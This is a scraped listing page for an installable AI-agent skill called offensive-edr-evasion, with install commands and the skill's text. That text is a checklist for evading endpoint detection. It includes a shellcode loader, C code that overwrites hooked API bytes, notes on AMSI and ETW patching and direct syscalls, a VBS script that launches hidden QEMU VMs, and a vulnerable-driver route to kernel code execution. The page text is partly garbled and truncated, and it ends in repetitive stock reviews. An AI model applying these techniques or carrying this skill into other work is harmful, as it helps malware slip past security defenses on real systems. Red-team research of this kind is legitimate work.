Agent skill / SnailSploit
### offensive-edr-evasion
Core file
AI-first code editor with Composer
Before installing skills in Cursor, ensure your development environment meets these requirements:
node --versionoffensive-edr-evasionExecute the skills CLI command in your project's root directory to begin installation:
Package manager
npx skills add https://github.com/SnailSploit/Claude-Red --skill offensive-edr-evasionFetches offensive-edr-evasion from SnailSploit/Claude-Red and configures it for Cursor.
The CLI shows a list of agents. Use arrow keys and space to select Cursor:
Confirm successful installation by checking the skill directory location:
Restart Cursor to activate offensive-edr-evasion. Access via /offensive-edr-evasionin your agent's command palette.
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
Skills execute code in your environment. Always review source, verify the publisher, and test in isolation before production.
Submit your Claude Code skill and start earning
Automate repetitive workflows and reduce manual effort
Example
Generate reports, summarize documents, draft communications
Save 3-5 hours per week on routine tasks
Learn new skills, understand complex topics, get expert guidance
Example
Explain concepts, provide examples, suggest learning resources
Accelerate learning and skill development by 2x
Enhance output quality through reviews, suggestions, and refinements
Example
Review drafts, suggest improvements, catch errors
Improve work quality by 30-40% with less effort
Copy the command for your terminal
Package manager
npx skills add https://github.com/SnailSploit/Claude-Red --skill offensive-edr-evasionWorks with
EDR evasion offensive checklist: hook unhooking (user/kernel), direct syscalls, PPID spoofing, process injection variants, AMSI bypass, ETW patching, memory encryption, and behavior-based evasion. Use when planning EDR bypass during red team engagements or researching AV/EDR evasion techniques.
Use this skill when the conversation involves any of:
EDR evasion, EDR bypass, hook unhooking, direct syscalls, PPID spoofing, process injection, AMSI bypass, ETW patch, memory encryption, AV evasion, behavioral evasion, red team evasion
When this skill is active:
Antivirus (preventive approach):
EDR (proactive & investigative approach):
Windows program execution follows a hierarchical flow:
Example operation flow (creating a file):
CreateFile functionNtCreateFileNtCreateFile syscallEDR solutions consist of multiple components creating a complex attack surface:
Client-Side Components:
Component Communication Methods:
Server-Side Components:
EDR solutions require extended visibility into system activities:
"Authorization: Bearer", "eyJ" (base64 JWT prefix), or provider‑specific headers; dump minimal pages to avoid tripping anti‑exfil rules.Get-ProcessMitigation -System; Get-CimInstance Win32_DeviceGuard (VBS/HVCI/KDP); Get-MpPreference (ASR/Cloud).Microsoft-Windows-CodeIntegrity/Operational, Security (4688/4689), Microsoft-Windows-Sense/Operational, Sysmon (if present).MEM_IMAGE mappings (ghosting/herpaderping/overwriting) over MEM_PRIVATE RWX to avoid 24H2 hotpatch loader checks.ENDBR64 at indirect targets; maintain plausible stacks for syscalls (replicate ntdll frames).alloc/write/exec over time; prefer APC+NtContinue pivots; keep thread contexts consistent.EDRs can't directly hook kernel memory due to PatchGuard, so they:
_PEB, hook process's module IAT/Imports, and loaded libraries EAT/ExportsShellcode loaders typically follow this pattern:
char *shellcode = "\xAA\xBB...";
char *dest = VirtualAlloc(NULL, 0x1234, 0x3000, PAGE_READWRITE);
memcpy(dest, shellcode, 0x1234)
VirtualProtect(dest, 0x1234, PAGE_EXECUTE_READ, &result)
(*(void(*)())(dest))(); // jump to dest: execute shellcode
A systematic approach to analyzing EDR drivers from a low-privileged user perspective:
Static Analysis:
# List loaded drivers
driverquery /v
Get-WindowsDriver -Online -All
# Using WMI
Get-WmiObject Win32_PnPSignedDriver | Select-String "EDR_Vendor"
Dynamic Analysis:
# Using sc command
sc query type= driver state= all
# Process Monitor filtering
# Filter: Process and Thread Activity -> Show Image/DLL
Device Driver Interfaces:
\\.\DEVICE_NAME formatMini-Filter Driver Interfaces:
FltCreateCommunicationPort API\CyvrFsfd, \SophosPortNameDevice Driver ACL Checking:
// Using DeviceTree (preferred) or kernel debugger
// WinDbg example:
!object \Device\DeviceName
!sd <SecurityDescriptor_Address> 1
FilterConnectionPort ACL Checking:
# Using NtObjectManager (James Forshaw)
Get-FilterConnectionPort -Path "\FilterPortName"
# Error indicates access denied
# In WinDbg:
!object \FilterPortName
dx (((nt!_OBJECT_HEADER*)0xAddress)->SecurityDescriptor & ~0xa)
!sd <SecurityDescriptor_Address> 1
Device Driver Communication:
FilterConnectionPort Communication:
Examples of accessible interfaces found in research:
Palo Alto Cortex XDR:
\\.\PaloEdrControlDevice (tedrdrv.sys) - ~20 IOCTL handlers with various functionality\\.\CyvrMit (cyvrmtgn.sys) - Legacy Cyvera interface\\.\PANWEdrPersistentDevice11343 (tedrpers-<version>.sys) - Persistent device interfaceSophos Intercept X:
\SophosPortNameEDRs often use an architecture where:
word.exe)A novel technique exploiting Windows Error Reporting (WER) to temporarily disable EDR/AV processes:
WerFault.exe and Windows Error Reporting infrastructure[!TIP] Blue team detection: Alert on
PssSuspendProcess/PssSuspendThreadAPI calls combined withOpenProcesstargeting EDR process IDs, or monitor Event ID 1001 (Windows Error Reporting) with unusual source processes.
1.3.6.1.4.1.311.76.57.1.15) continue to run until re-signed. New enclave signing requires updated EKUs and is not supported on these versions.STATUS_FEATURE_DEPRECATED.Malware virtualization provides advanced evasion against modern EDR:
Implementation advantages:
Multi-VM approach further evades detection:
Deployment strategies:
Successfully evaded detection for:
Concept: Deploy portable QEMU VMs to execute malicious code within guest OS, avoiding host-based EDR detection
Technical Implementation:
Configuration Examples:
# VBS deployment script
Set shell = CreateObject("WScript.Shell")
shell.Run "tc.exe -m 512 -hda tc.qcow2 -netdev user,id=net0 -device e1000,netdev=net0"
# QEMU configuration file (upd.conf)
-m 512
-hda tc.qcow2
-netdev user,id=net0
-device e1000,netdev=net0
Persistence Mechanisms:
bootlocal.sh modifications for startup executionfiletool.lst configuration for file persistence across rebootsAdvanced Techniques:
StrictHostKeyChecking=no, known hosts to /dev/null)Detection Evasion Benefits:
Limitations & Considerations:
ntdll.dll from disk and overwrite it inside your own processntdll.dll from you own memory before executing
ntdll.dll or its hooked sections is less reliable. Modern EDRs often use kernel callbacks, ETW, and other telemetry sources that are not bypassed by user-mode unhooking alone. This technique is often used in conjunction with others.
[!CAUTION] accessing
ntdll.dllfile can be flagged, API call to overwrite it also might be hooked by EDR
Most EDR/AVs like BitDefender hook Windows APIs by replacing first bytes with JMP instructions (opcode 0xE9)
Modern Context: Similar to general unhooking, patching specific API prologues can bypass simple user-mode hooks, but comprehensive EDR solutions have additional detection layers (kernel events, behavioral analysis) that may still detect the malicious activity following the unhook.
How to identify hooked APIs:
0xE9, the function is hookedCommon hooked APIs:
CreateRemoteThread/CreateRemoteThreadExVirtualAllocExWriteProcessMemoryOpenProcessRtlCreateUserThreadUnhooking approach:
WriteProcessMemory on the current processSample implementation:
// Find address of target API function
HANDLE kernelbase_handle = GetModuleHandle("kernel32");
LPVOID CreateRemoteThread_address = GetProcAddress(kernelbase_handle, "CreateRemoteThread");
// Check if function is hooked (first byte is 0xE9)
byte first_byte = (byte)*(char*)CreateRemoteThread_address;
if (first_byte == 0xe9) {
// Replace with original bytes
char original_bytes[] = "\x4C\x8B\xDC\x48\x83"; // Original prologue bytes
WriteProcessMemory(GetCurrentProcess(), CreateRemoteThread_address, original_bytes, 5, NULL);
}
This technique is effective but may require separate execution for the final payload since some AVs block executing immediately after unhooking. Modern EDRs might still correlate the unhooking activity with subsequent suspicious actions.
ntdll.dll hooksSSN(System Service Number) dynamically and call them(can be done via SysWhispers2)
ntdll.dll but do not inherently bypass kernel-level monitoring (e.g., via kernel callbacks or ETW). EDRs are increasingly monitoring for patterns indicative of direct syscall usage itself (e.g., unusual call stack origins for syscalls).
[!CAUTION] having syscall assembly instructions can be flagged, also this only helps the loader to evade the EDR not the malware itself
ntdll frame before the transition.[!CAUTION] Some EDRs flag syscalls originating outside
ntdll.dll. Maintaining plausible stacks/return frames may be required to avoid heuristics.
Bypasses user-mode hooks but not kernel monitoring. Requires System Service Dispatch Table (SSDT) index:
ntdll.dll and jump to that location
syscall instructions can be less suspicious than embedding raw syscall stubs, but the subsequent kernel activity is still visible.
[!TIP] this is preferred,you can also boost evasion techniques by hiding inside a
.dll
PsSetCreateProcessNotifyRoutine, ObRegisterCallbacks) to blind user‑mode EDR components.LnvMSRIO.sys (CVE‑2025‑8061). Exposes physical memory/MSR read‑write primitives to low‑privileged users; can overwrite MSR_LSTAR and pivot to Ring‑0 payload, then patch/unregister calPrerequisites
Time Estimate
15-45 minutes depending on use case complexity
Steps
Common Pitfalls
✓ Do
✗ Don't
💡 Pro Tips
✓ Use when
Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.
✗ Avoid when
Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.
SnailSploit/Claude-Red
SnailSploit/Claude-Red
SnailSploit/Claude-Red
SnailSploit/Claude-Red
SnailSploit/Claude-Red
SnailSploit/Claude-Red
Useful defaults in offensive-edr-evasion — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.
offensive-edr-evasion is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
Keeps context tight: offensive-edr-evasion is the kind of skill you can hand to a new teammate without a long onboarding doc.
Solid pick for teams standardizing on skills: offensive-edr-evasion is focused, and the summary matches what you get after install.
offensive-edr-evasion has been reliable in day-to-day use. Documentation quality is above average for community skills.
offensive-edr-evasion is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
offensive-edr-evasion is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
offensive-edr-evasion fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
offensive-edr-evasion is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
Keeps context tight: offensive-edr-evasion is the kind of skill you can hand to a new teammate without a long onboarding doc.
showing 1-10 of 33